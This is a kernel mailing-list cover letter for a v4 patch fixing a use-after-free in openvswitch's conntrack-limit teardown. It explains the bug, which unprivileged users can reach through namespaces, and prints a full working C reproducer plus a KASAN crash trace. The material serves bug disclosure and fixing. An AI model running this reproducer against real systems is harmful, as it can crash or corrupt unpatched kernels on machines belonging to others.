[PATCH net v4 0/1] openvswitch: Fix CT limit teardown use-after-free
From: Ren Wei <hidden>
Date: 2026-08-05 16:26:31
From: Yuqi Xu <redacted> openvswitch: Fix CT limit teardown use-after-free Changes in v4: - Restore per-entry ovs_mutex locking for CT limit SET and DEL. - Treat CT limit updates racing with netns teardown as successful no-ops. - Free an uninstalled CT limit allocation and document GET helpers' RCU contract. - v3 Link: https://lore.kernel.org/all/cover.1784866791.git.xuyuqiabc@gmail.com/ (local) Changes in v3: - Use RCU dereference and a NULL check for CT limit GET requests. - Limit ovs_mutex to CT limit updates; do not hold it while preparing replies. - Use ovsl_dereference() for update paths and clarify the RCU grace-period comment. - v2 Link: https://lore.kernel.org/all/cover.1784711445.git.xuyuqiabc@gmail.com (local) Changes in v2: - Sort local declarations modified by this patch in reverse Christmas-tree order. - v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/ (local) Hi Linux kernel maintainers, We found an issue in net/openvswitch/conntrack.c. The bug is reachable by an unprivileged user using private user and network namespaces. The relevant details are provided below. ---- details below ---- Bug details: Packet processing uses CT limit state under RCU, while netns teardown frees that state under ovs_mutex. The CT limit pointer was neither removed from readers nor protected by a grace period, allowing packet processing to dereference the freed state. Replace the pointer before freeing the CT limit state and wait for RCU readers before freeing its contents. Serialize individual CT limit updates with teardown, while GET and datapath accesses use RCU-protected lookups. Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit") Reproducer: gcc -O2 -g -Wall -Wextra -pthread -o mini_poc mini_poc.c ./mini_poc We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN PoC------ #define _GNU_SOURCE #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <linux/genetlink.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <net/if.h> #include <pthread.h> #include <sched.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define MAX_MSG 8192 #define DP_NAME "ovsmini" #define PORT_NAME "povsmini" #define PORT_NO 1 #define ZONE 1 #define LIMIT 1 #define WARMUP_MS 5 #define FLOOD_MS 500 #define CT_CLONES 4 #define OVS_DATAPATH_FAMILY "ovs_datapath" #define OVS_DATAPATH_VERSION 2 #define OVS_VPORT_FAMILY "ovs_vport" #define OVS_VPORT_VERSION 1 #define OVS_FLOW_FAMILY "ovs_flow" #define OVS_FLOW_VERSION 1 #define OVS_CT_LIMIT_FAMILY "ovs_ct_limit" #define OVS_CT_LIMIT_VERSION 1 struct ovs_header { int dp_ifindex; }; enum { OVS_DP_CMD_NEW = 1, OVS_DP_CMD_GET = 3, }; enum { OVS_DP_ATTR_NAME = 1, OVS_DP_ATTR_UPCALL_PID = 2, OVS_DP_ATTR_IFINDEX = 9, }; enum { OVS_VPORT_CMD_NEW = 1, }; enum { OVS_VPORT_ATTR_PORT_NO = 1, OVS_VPORT_ATTR_TYPE = 2, OVS_VPORT_ATTR_NAME = 3, OVS_VPORT_ATTR_UPCALL_PID = 5, }; enum { OVS_VPORT_TYPE_INTERNAL = 2, }; enum { OVS_FLOW_CMD_NEW = 1, }; enum { OVS_FLOW_ATTR_KEY = 1, OVS_FLOW_ATTR_ACTIONS = 2, OVS_FLOW_ATTR_MASK = 7, }; enum { OVS_KEY_ATTR_IN_PORT = 3, OVS_KEY_ATTR_ETHERNET = 4, OVS_KEY_ATTR_ETHERTYPE = 6, OVS_KEY_ATTR_IPV4 = 7, OVS_KEY_ATTR_UDP = 10, }; enum { OVS_CT_ATTR_COMMIT = 1, OVS_CT_ATTR_ZONE = 2, }; enum { OVS_ACTION_ATTR_CT = 12, OVS_ACTION_ATTR_CLONE = 20, OVS_ACTION_ATTR_DROP = 24, }; enum { OVS_CT_LIMIT_CMD_SET = 1, }; enum { OVS_CT_LIMIT_ATTR_ZONE_LIMIT = 1, }; struct ovs_key_ethernet { uint8_t eth_src[ETH_ALEN]; uint8_t eth_dst[ETH_ALEN]; }; struct ovs_key_ipv4 { uint32_t ipv4_src; uint32_t ipv4_dst; uint8_t ipv4_proto; uint8_t ipv4_tos; uint8_t ipv4_ttl; uint8_t ipv4_frag; }; struct ovs_key_udp { uint16_t udp_src; uint16_t udp_dst; }; struct ovs_zone_limit { int32_t zone_id; uint32_t limit; uint32_t count; }; #ifndef NLA_ALIGN #define NLA_ALIGNTO 4 #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #ifndef NLA_DATA #define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif #define DIE(...) do { fprintf(stderr, __VA_ARGS__); fputc('\n', stderr); \ exit(EXIT_FAILURE); } while (0) static void die_errno(const char *what) { DIE("%s: %s", what, strerror(errno)); } static void write_map(const char *path, const char *fmt, unsigned int id) { char buf[64]; int fd; int len; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) die_errno(path); len = snprintf(buf, sizeof(buf), fmt, id); if (write(fd, buf, (size_t)len) != len) die_errno(path); close(fd); } static void enter_user_netns(void) { uid_t uid = getuid(); gid_t gid = getgid(); int fd; if (unshare(CLONE_NEWUSER | CLONE_NEWNET)) die_errno("unshare user/net namespace"); fd = open("/proc/self/setgroups", O_WRONLY | O_CLOEXEC); if (fd >= 0) { if (write(fd, "deny", 4) != 4) die_errno("setgroups"); close(fd); } write_map("/proc/self/uid_map", "0 %u 1\n", uid); write_map("/proc/self/gid_map", "0 %u 1\n", gid); if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) die_errno("setresuid/setresgid"); } static void addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, const void *data, size_t len) { struct nlattr *nla; size_t total = NLA_ALIGN(NLA_HDRLEN + len); if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen) DIE("netlink message too large"); nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); nla->nla_type = type; nla->nla_len = NLA_HDRLEN + len; if (len) memcpy(NLA_DATA(nla), data, len); if (total > nla->nla_len) memset((char *)nla + nla->nla_len, 0, total - nla->nla_len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total; } static void add_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, uint16_t value) { addattr(nlh, maxlen, type, &value, sizeof(value)); } static void add_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, uint32_t value) { addattr(nlh, maxlen, type, &value, sizeof(value)); } static void add_s32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, int32_t value) { addattr(nlh, maxlen, type, &value, sizeof(value)); } static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t maxlen, uint16_t type) { struct nlattr *start = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); addattr(nlh, maxlen, type, NULL, 0); return start; } static void nest_end(struct nlmsghdr *nlh, struct nlattr *start) { start->nla_len = (uint16_t)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len) - (char *)start); } static int nl_open(int protocol) { struct sockaddr_nl addr = {.nl_family = AF_NETLINK}; int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol); if (fd < 0) die_errno("socket netlink"); if (bind(fd, (struct sockaddr *)&addr, sizeof(addr))) die_errno("bind netlink"); return fd; } static uint32_t next_seq(void) { static uint32_t seq = 1; return __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED); } static void nl_send(int fd, struct nlmsghdr *nlh) { struct sockaddr_nl addr = {.nl_family = AF_NETLINK}; struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) die_errno("sendmsg netlink"); } static ssize_t nl_reply(int fd, uint32_t seq, char *buf, size_t len) { for (;;) { struct nlmsghdr *nlh; ssize_t got = recv(fd, buf, len, 0); ssize_t rem; if (got < 0) { if (errno == EINTR) continue; return -1; } rem = got; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) { if (nlh->nlmsg_seq != seq) continue; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error) { errno = -err->error; return -1; } return nlh->nlmsg_len; } else { return nlh->nlmsg_len; } } } } static void nl_ack(int fd, uint32_t seq) { char buf[MAX_MSG]; if (nl_reply(fd, seq, buf, sizeof(buf)) < 0) die_errno("netlink request"); } static struct nlattr *find_attr(void *data, size_t len, uint16_t type) { struct nlattr *nla; while (len >= sizeof(*nla)) { nla = data; if (nla->nla_len < NLA_HDRLEN || nla->nla_len > len) break; if ((nla->nla_type & NLA_TYPE_MASK) == type) return nla; len -= NLA_ALIGN(nla->nla_len); data = (char *)data + NLA_ALIGN(nla->nla_len); } return NULL; } static int family_id(int fd, const char *name) { char buf[MAX_MSG] = {}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdr *genl; struct nlattr *attr; uint32_t seq = next_seq(); nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = seq; genl = NLMSG_DATA(nlh); genl->cmd = CTRL_CMD_GETFAMILY; genl->version = 1; addattr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1); nl_send(fd, nlh); if (nl_reply(fd, seq, buf, sizeof(buf)) < 0) die_errno("get generic-netlink family"); attr = find_attr((char *)genl + GENL_HDRLEN, nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN), CTRL_ATTR_FAMILY_ID); if (!attr) DIE("family %s has no id", name); return *(uint16_t *)NLA_DATA(attr); } static void ovs_header(struct nlmsghdr *nlh, size_t maxlen, uint16_t family, uint8_t cmd, uint8_t version, int dp_ifindex) { struct genlmsghdr *genl; struct ovs_header *ovs; memset(nlh, 0, maxlen); nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + sizeof(*ovs)); nlh->nlmsg_type = family; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = next_seq(); genl = NLMSG_DATA(nlh); genl->cmd = cmd; genl->version = version; ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN); ovs->dp_ifindex = dp_ifindex; } static uint32_t request_seq(struct nlmsghdr *nlh) { return nlh->nlmsg_seq; } static void set_up(int fd, const char *ifname) { char buf[MAX_MSG] = {}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ifinfomsg *ifi; uint32_t seq = next_seq(); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = seq; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_change = IFF_UP; ifi->ifi_flags = IFF_UP; addattr(nlh, sizeof(buf), IFLA_IFNAME, ifname, strlen(ifname) + 1); nl_send(fd, nlh); nl_ack(fd, seq); } static void move_to_ns(int fd, const char *ifname, int netns_fd) { char buf[MAX_MSG] = {}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ifinfomsg *ifi; unsigned int ifindex = if_nametoindex(ifname); uint32_t seq = next_seq(); if (!ifindex) die_errno("if_nametoindex"); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi)); nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = seq; ifi = NLMSG_DATA(nlh); ifi->ifi_family = AF_UNSPEC; ifi->ifi_index = (int)ifindex; add_s32(nlh, sizeof(buf), IFLA_NET_NS_FD, netns_fd); nl_send(fd, nlh); nl_ack(fd, seq); } static void create_dp(int fd, int family) { char buf[MAX_MSG]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_NEW, OVS_DATAPATH_VERSION, 0); addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME, sizeof(DP_NAME)); add_u32(nlh, sizeof(buf), OVS_DP_ATTR_UPCALL_PID, 0); nl_send(fd, nlh); nl_ack(fd, request_seq(nlh)); } static int dp_ifindex(int fd, int family) { char buf[MAX_MSG] = {}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct genlmsghdr *genl; struct ovs_header *ovs; ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_GET, OVS_DATAPATH_VERSION, 0); nlh->nlmsg_flags = NLM_F_REQUEST; addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME, sizeof(DP_NAME)); nl_send(fd, nlh); if (nl_reply(fd, request_seq(nlh), buf, sizeof(buf)) < 0) die_errno("get datapath"); nlh = (struct nlmsghdr *)buf; genl = NLMSG_DATA(nlh); ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN); return ovs->dp_ifindex; } static void create_internal_port(int fd, int family, int dp) { char buf[MAX_MSG]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; ovs_header(nlh, sizeof(buf), family, OVS_VPORT_CMD_NEW, OVS_VPORT_VERSION, dp); add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_TYPE, OVS_VPORT_TYPE_INTERNAL); addattr(nlh, sizeof(buf), OVS_VPORT_ATTR_NAME, PORT_NAME, sizeof(PORT_NAME)); add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_UPCALL_PID, 0); nl_send(fd, nlh); nl_ack(fd, request_seq(nlh)); } static void set_limit(int fd, int family) { char buf[MAX_MSG]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ovs_zone_limit limit = { .zone_id = ZONE, .limit = LIMIT, }; ovs_header(nlh, sizeof(buf), family, OVS_CT_LIMIT_CMD_SET, OVS_CT_LIMIT_VERSION, 0); addattr(nlh, sizeof(buf), OVS_CT_LIMIT_ATTR_ZONE_LIMIT, &limit, sizeof(limit)); nl_send(fd, nlh); nl_ack(fd, request_seq(nlh)); } static void add_flow(int fd, int family, int dp) { char buf[MAX_MSG]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct ovs_key_ethernet eth = {}; struct ovs_key_ipv4 ip = {.ipv4_proto = 17}; struct ovs_key_ipv4 ip_mask = {.ipv4_proto = 0xff}; struct ovs_key_udp udp = {}; struct nlattr *key, *mask, *actions, *ct; ovs_header(nlh, sizeof(buf), family, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION, dp); key = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_KEY); add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, PORT_NO); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth)); add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(ETH_P_IP)); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip, sizeof(ip)); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp)); nest_end(nlh, key); mask = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_MASK); add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, UINT32_MAX); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth)); add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(UINT16_MAX)); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip_mask, sizeof(ip_mask)); addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp)); nest_end(nlh, mask); int i; actions = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_ACTIONS); for (i = 0; i < CT_CLONES; i++) { struct nlattr *clone = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CLONE); ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT); addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0); add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE); nest_end(nlh, ct); add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0); nest_end(nlh, clone); } ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT); addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0); add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE); nest_end(nlh, ct); add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0); nest_end(nlh, actions); nl_send(fd, nlh); nl_ack(fd, request_seq(nlh)); } static void setup_victim(int anchor_fd, int ready_fd, int go_fd) { int genl, rtnl; int dp_family, vport_family, flow_family, limit_family; int dp; char ready = 1; if (unshare(CLONE_NEWNET)) die_errno("unshare victim netns"); genl = nl_open(NETLINK_GENERIC); rtnl = nl_open(NETLINK_ROUTE); dp_family = family_id(genl, OVS_DATAPATH_FAMILY); vport_family = family_id(genl, OVS_VPORT_FAMILY); flow_family = family_id(genl, OVS_FLOW_FAMILY); limit_family = family_id(genl, OVS_CT_LIMIT_FAMILY); create_dp(genl, dp_family); dp = dp_ifindex(genl, dp_family); create_internal_port(genl, vport_family, dp); set_limit(genl, limit_family); add_flow(genl, flow_family, dp); move_to_ns(rtnl, PORT_NAME, anchor_fd); if (write(ready_fd, &ready, 1) != 1) die_errno("ready pipe"); if (read(go_fd, &ready, 1) != 1) _exit(EXIT_FAILURE); _exit(EXIT_SUCCESS); } static uint16_t checksum(const void *data, size_t len) { const uint16_t *p = data; uint32_t sum = 0; while (len > 1) { sum += *p++; len -= 2; } if (len) sum += *(const uint8_t *)p; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (uint16_t)~sum; } struct flood_ctx { volatile int *stop; int id; }; static void *flood_thread(void *arg) { struct flood_ctx *ctx = arg; struct { uint8_t dst[ETH_ALEN]; uint8_t src[ETH_ALEN]; uint16_t proto; uint8_t ip[20]; uint8_t udp[8]; uint8_t payload[8]; } __attribute__((packed)) frame = {}; struct sockaddr_ll addr = { .sll_family = AF_PACKET, .sll_protocol = htons(ETH_P_ALL), }; int fd; unsigned int packet_id = (unsigned int)ctx->id << 24; memset(frame.dst, 0x11, ETH_ALEN); memset(frame.src, 0x22, ETH_ALEN); frame.proto = htons(ETH_P_IP); frame.ip[0] = 0x45; frame.ip[8] = 64; frame.ip[9] = 17; frame.ip[12] = 10; frame.ip[15] = 1; frame.ip[16] = 10; frame.ip[19] = 2; frame.ip[2] = 0; frame.ip[3] = sizeof(frame) - ETH_HLEN; frame.udp[4] = 0; frame.udp[5] = 16; fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL)); if (fd < 0) return NULL; addr.sll_ifindex = if_nametoindex(PORT_NAME); while (!*ctx->stop && addr.sll_ifindex) { frame.ip[4] = (uint8_t)packet_id; frame.ip[5] = (uint8_t)(packet_id >> 8); frame.ip[10] = 0; frame.ip[11] = 0; frame.ip[10] = checksum(frame.ip, sizeof(frame.ip)) >> 8; frame.ip[11] = checksum(frame.ip, sizeof(frame.ip)); frame.udp[0] = (uint8_t)(packet_id >> 8); frame.udp[1] = (uint8_t)packet_id; if (sendto(fd, &frame, sizeof(frame), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0 && (errno == ENODEV || errno == ENXIO || errno == ENETDOWN)) break; packet_id++; } close(fd); return NULL; } static void flood_and_release(int go_fd) { enum { THREADS = 4 }; pthread_t threads[THREADS]; struct flood_ctx ctx[THREADS]; volatile int stop = 0; char go = 1; int i; for (i = 0; i < THREADS; i++) { ctx[i].stop = &stop; ctx[i].id = i; if (pthread_create(&threads[i], NULL, flood_thread, &ctx[i])) die_errno("pthread_create"); } usleep(WARMUP_MS * 1000); if (write(go_fd, &go, 1) != 1) die_errno("release pipe"); usleep(FLOOD_MS * 1000); stop = 1; for (i = 0; i < THREADS; i++) pthread_join(threads[i], NULL); } int main(void) { int anchor_fd, genl, rtnl; int ready[2], go[2]; pid_t child; char byte; enter_user_netns(); anchor_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC); if (anchor_fd < 0) die_errno("anchor netns"); genl = nl_open(NETLINK_GENERIC); rtnl = nl_open(NETLINK_ROUTE); if (pipe(ready) || pipe(go)) die_errno("pipe"); child = fork(); if (child < 0) die_errno("fork"); if (child == 0) { close(ready[0]); close(go[1]); close(genl); close(rtnl); setup_victim(anchor_fd, ready[1], go[0]); } close(ready[1]); close(go[0]); if (read(ready[0], &byte, 1) != 1) die_errno("ready"); while (!if_nametoindex(PORT_NAME)) usleep(1000); set_up(rtnl, PORT_NAME); flood_and_release(go[1]); waitpid(child, NULL, 0); close(go[1]); close(ready[0]); close(genl); close(rtnl); close(anchor_fd); return 0; } ------END PoC-------- ----BEGIN crash log---- [Wed Mar 18 20:20:25 2026] [ T10321] BUG: KASAN: slab-use-after-free in ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] Read of size 4 at addr ffff888035c1f3e0 by task poc/10321 [Wed Mar 18 20:20:25 2026] [ T10321] CPU: 0 UID: 1028 PID: 10321 Comm: poc Not tainted 6.12.74 #3 [Wed Mar 18 20:20:25 2026] [ T10321] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [Wed Mar 18 20:20:25 2026] [ T10321] Call Trace: [Wed Mar 18 20:20:25 2026] [ T10321] <TASK> [Wed Mar 18 20:20:25 2026] [ T10321] dump_stack_lvl+0x10e/0x1f0 [Wed Mar 18 20:20:25 2026] [ T10321] print_report+0xc6/0x620 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __phys_addr+0xcb/0x150 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] kasan_report+0xd8/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_execute+0x1f1c/0x2100 [Wed Mar 18 20:20:25 2026] [ T10321] ? __kasan_slab_alloc+0x89/0x90 [Wed Mar 18 20:20:25 2026] [ T10321] ? kmem_cache_alloc_noprof+0x126/0x2f0 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_ct_execute+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0xaab/0x7d60 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __skb_clone+0x575/0x760 [Wed Mar 18 20:20:25 2026] [ T10321] ? hlock_class+0x4e/0x130 [Wed Mar 18 20:20:25 2026] [ T10321] clone_execute+0x496/0x6d0 [Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0x1de7/0x7d60 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire.part.0+0x119/0x370 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_acquire.part.0+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_dp_process_packet+0x227/0x820 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_execute_actions+0xf3/0x490 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_dp_process_packet+0x280/0x820 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_dp_process_packet+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memset+0x23/0x50 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __ovs_ct_update_key+0x3a9/0xdc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ovs_vport_receive+0x21d/0x370 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_vport_receive+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire+0x2f/0xb0 [Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] internal_dev_xmit+0xbe/0x320 [Wed Mar 18 20:20:25 2026] [ T10321] __dev_direct_xmit+0x58f/0x730 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___dev_direct_xmit+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? netdev_pick_tx+0x147/0xc80 [Wed Mar 18 20:20:25 2026] [ T10321] packet_xmit+0x1ee/0x360 [Wed Mar 18 20:20:25 2026] [ T10321] packet_sendmsg+0x2704/0x55c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___might_resched+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? __sanitizer_cov_trace_switch+0x54/0x90 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? aa_sk_perm+0x2e6/0xb80 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_packet_sendmsg+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_aa_sk_perm+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] __sys_sendto+0x47e/0x4d0 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___sys_sendto+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10 [Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] __x64_sys_sendto+0xe5/0x1c0 [Wed Mar 18 20:20:25 2026] [ T10321] ? do_syscall_64+0x93/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5 [Wed Mar 18 20:20:25 2026] [ T10321] ? lockdep_hardirqs_on+0x7b/0x110 [Wed Mar 18 20:20:25 2026] [ T10321] do_syscall_64+0xc7/0x250 [Wed Mar 18 20:20:25 2026] [ T10321] entry_SYSCALL_64_after_hwframe+0x77/0x7f [Wed Mar 18 20:20:25 2026] 